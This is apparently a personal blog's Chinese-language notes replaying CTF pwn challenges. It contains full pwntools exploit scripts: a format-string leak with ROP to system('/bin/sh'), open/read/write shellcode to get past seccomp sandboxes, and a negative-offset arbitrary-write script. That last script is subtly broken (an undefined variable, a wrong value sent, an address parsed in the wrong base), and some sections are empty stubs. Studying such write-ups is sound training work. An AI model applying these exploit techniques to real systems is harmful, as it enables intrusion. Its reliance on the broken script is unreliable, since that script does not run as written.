二:出题者思路

利用sys_write进行泄露

非预期exp

https://blog.csdn.net/maple105890/article/details/129115700

太牛逼了,丝滑的一,人造格式化字符串漏洞

从而泄露libc,elf

再在栈上布置ROP,做栈迁移执行就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *
from LibcSearcher import *

libc = ELF('./libc-2.31.so')
banary = "./store"
elf = ELF(banary)
ip = '1'
port = 1

local = 1
if(local==1):
p = process(banary)
else:
p = remote(ip, port)
context.log_level = "debug"

def debug():
gdb.attach(p)
pause()

s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
ru = lambda text : p.recvuntil(text)
uu32 = lambda : u32(p.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))
pi = lambda : p.interactive()


#-----------------------------1. ret_main + recv_stack ---------------------------
payload = b'a'*0x38 + p8(0x79)
p.sendafter(b"if you give me your number,i will give you some hao_kang_de\n",payload)

p.recvuntil(b'is ')
stack_addr = int(p.recv(12),16)
lg("stack_addr")
#rsp = stack_add
#rbp = stack_addr + 0x130

p.sendafter(b"anything want to say?\n",b'Korey0sh1')

debug()
#-----------------------------2. fmt + leak_libc ------------------------------
#rsp = stack_add
#rbp = stack_addr + 0x120
#read(0, stack_addr+0x100, 0x40)

payload = b'%7$p|%11$p'
payload = payload.ljust(0x30,b'a')
payload += p64(stack_addr + 0x240) + p8(0x12)
p.send(payload)

p.sendafter(b"anything want to say?\n",b'Korey0sh1')

p.recvuntil(b'0x')
libc_base = int(p.recv(12),16) - 243 - libc.symbols['__libc_start_main']

p.recvuntil(b'0x')
elf_base = int(p.recv(12),16) - 0x978

p.recvuntil(b'is ')
stack_addr = int(p.recv(12),16)

print("libc_base-->"+hex(libc_base))
print("elf_base-->"+hex(elf_base))
print("stack_addr-->"+hex(stack_addr))

pause()
#-----------------------------3. ROP ------------------------------
#rsp = stack_add + 0x140
#rbp = stack_addr + 0x240

#read(0, stack_add+ 0x110 , 0x100)

#call read: rsp -= 0x8
#rsp = stack_add + 0x138

sys_addr = libc_base + libc.symbols['system']
str_bin_sh = libc_base + next(libc.search(b'/bin/sh'))
pop_rdi = elf_base + 0xa13
pop_rsi_r15 = elf_base + 0xa11

payload = b'a'*0x28 + p64(pop_rdi) + p64(str_bin_sh) + p64(pop_rsi_r15) + p64(0) + p64(0) + p64(sys_addr)
p.sendafter(b"anything want to say?\n",payload)
p.interactive()

预期exp

预期解思路:strtol控制rax,然后跳转到sys_write附近把elf_base和libc_base打出来

再布置ROP

3.escape_langlang_mountain

读一下把后门字符串写vnctf,write一次改command为cat flag,再读就能执行后门了

qemu

4.hf

提示:堆?

5.鼠鼠的奇妙冒险

提示:uaf in game.c/fight()

​ ptmalloc2对线程数>CPU核心数*8时会去lock之前的arena并复用;

​ 线程结束时有tcache_thread_shutdown释放掉所有tcache chunks;

​ 合理利用loadLevel调整堆结构;

④NSS#Round 9

1.MyExec

ptrcl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 函数原型
#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);

// option选项有很多,剩下的参数也由option确定,这里介绍两个主要的option
// PR_SET_NO_NEW_PRIVS(38) 和 PR_SET_SECCOMP(22)

// option为38的情况
// 此时第二个参数设置为1,则禁用execve系统调用且子进程一样受用
prctl(38, 1LL, 0LL, 0LL, 0LL);

// option为22的情况
// 此时第二个参数为1,只允许调用read/write/_exit(not exit_group)/sigreturn这几个syscall
// 第二个参数为2,则为过滤模式,其中对syscall的限制通过参数3的结构体来自定义过滤规则。
prctl(22, 2LL, &v1);

分析

沙箱

1
2
3
4
v1 = 4;
v2 = &v3;
prctl(38, 1LL, 0LL, 0LL, 0LL);
prctl(22, 2LL, &v1);

main

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
sandbox();
puts("test NSS sandbox");
mmap((void *)0x50000, 0x1000uLL, 7, 50, -1, 0LL);
read(0, (void *)0x50000, 0x64uLL);
MEMORY[0x50000]();
return 0;
}

思路

直接往栈上搓shellcode,试试卓牛以前讲的,更换x86-64架构,进行pwn

retfq切换模式

exp1:切换模式

1

exp2:ORW

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
from ctypes import *
#context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='amd64')

libc = ELF('./libc-2.34.so')
banary = "./myexec"
elf = ELF(banary)
ip = '1'
port = 1

local = 1
if(local==1):
p = process(banary)
else:
p = remote(ip, port)
context.log_level = "debug"

def debug():
gdb.attach(p)
pause()

s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
ru = lambda text : p.recvuntil(text)
uu32 = lambda : u32(p.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))
pi = lambda : p.interactive()
#------------------------ ORW ----------------------------
mmap_place = 0x50000

payload = asm(shellcraft.open('/flag'))
payload += asm(shellcraft.read(3, mmap_place+0x300, 0x300))
payload += asm(shellcraft.write(1, mmap_place+0x300, 0x300))

sa(b'sandbox', payload)

pi()

2.MyMem

分析

沙箱

1
2
3
4
v1 = 6;
v2 = &v3;
prctl(38, 1LL, 0LL, 0LL, 0LL);
prctl(22, 2LL, &v1);

seccomp-tools

1
2
3
4
5
6
7
8
9
10
$ seccomp-tools dump ./mymem
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x02 0xc000003e if (A != ARCH_X86_64) goto 0004
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005
0004: 0x06 0x00 0x00 0x00000000 return KILL
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW

main

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
sandbox();
puts("test NSS sandbox");
mmap((void *)0x50000, 0x1000uLL, 7, 50, -1, 0LL);
read(0, (void *)0x50000, 0x64uLL);
MEMORY[0x50000]();
return 0;
}

思路

不能用更换x86-64架构,绕过orw,进行pwn

方法:

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
from ctypes import *
#context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='amd64')

libc = ELF('./libc-2.34.so')
banary = "./mymem"
elf = ELF(banary)
ip = '1'
port = 1

local = 1
if(local==1):
p = process(banary)
else:
p = remote(ip, port)
context.log_level = "debug"

def debug():
gdb.attach(p)
pause()

s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
ru = lambda text : p.recvuntil(text)
uu32 = lambda : u32(p.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))
pi = lambda : p.interactive()
#------------------------ ORW ----------------------------
mmap_place = 0x50000

payload = asm(shellcraft.open('/flag'))
payload += asm(shellcraft.read(3, mmap_place+0x300, 0x100))
payload += asm(shellcraft.write(1, mmap_place+0x300, 0x100))

sa(b'sandbox', payload)

pi()

3.old fashion

分析

guess_number

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
__int64 guess_number()
{
unsigned int v0; // eax
int v2; // [rsp+Ch] [rbp-14h] BYREF
int i; // [rsp+10h] [rbp-10h]
unsigned int v4; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
v0 = time(0LL);
srand(v0);
for ( i = 1; i <= 16; ++i )
{
v4 = rand() % 100 + 1;
printf("Guess the number (between 1 and 100): ");
__isoc99_scanf("%d", &v2);
if ( v4 == v2 )
{
puts("Congratulations! You guessed the number correctly.");
return 1LL;
}
printf("Sorry, the correct number is %d.\n", v4);
}
return 0LL;
}

本来想用正确做法的,但是在调试中,随便选的数,也能过

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
size_t size; // [rsp+8h] [rbp-18h] BYREF
char *v4; // [rsp+10h] [rbp-10h]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
init(argc, argv, envp);
if ( (unsigned int)guess_number() == 1 )
{
yay();
}
else
{
puts("difficult? Ok , i will give you a gift , how big gift you want ? ");
__isoc99_scanf("%ld", &size);
v4 = (char *)malloc(size);
printf("here you are: %p\n", v4);
puts("offset ? ");
__isoc99_scanf("%ld", &size);
puts("i thint you may write /bin/sh here");
__isoc99_scanf("%zu", &v4[8 * size]); //%zu输出size_t型,unsigned int
}
_exit(0);
}

思路

可以负向写到exit,输入/bin/sh的数字形式

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
from ctypes import *
#context.terminal = ['tmux', 'splitw', '-h']
#context(os='linux', arch='amd64'

libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
banary = "./zzzzz"
elf = ELF(banary)
ip = '1'
port = 1

local = 1
if(local==1):
p = process(banary)
else:
p = remote(ip, port)
context.log_level = "debug"

def debug():
gdb.attach(p)
pause()

s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
ru = lambda text : p.recvuntil(text)
uu32 = lambda : u32(p.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))
pi = lambda : p.interactive()
#------------------------ 1.number ----------------------------
system = 0x4013A6

for i in range(16):
sla(b'Guess the number (between 1 and 100): ', str(1))

size = 128
sla(b'want ? ', str(size))

p.recvuntil(b'are: ')
heap = int(p.recv(8), 10)
print(hex(heap))

size2 = ((heap_addr - 0x404018) // 8) * -1
sa(b'offset ? ', size)

payload = 4199330
sa(b'i thint you may write /bin/sh here', payload)


pi()

4.most safe

BF_JIT


二月复现笔记
http://csc8.github.io/2023/03/03/二月复现笔记/
作者
Csc8
发布于
2023年3月3日
许可协议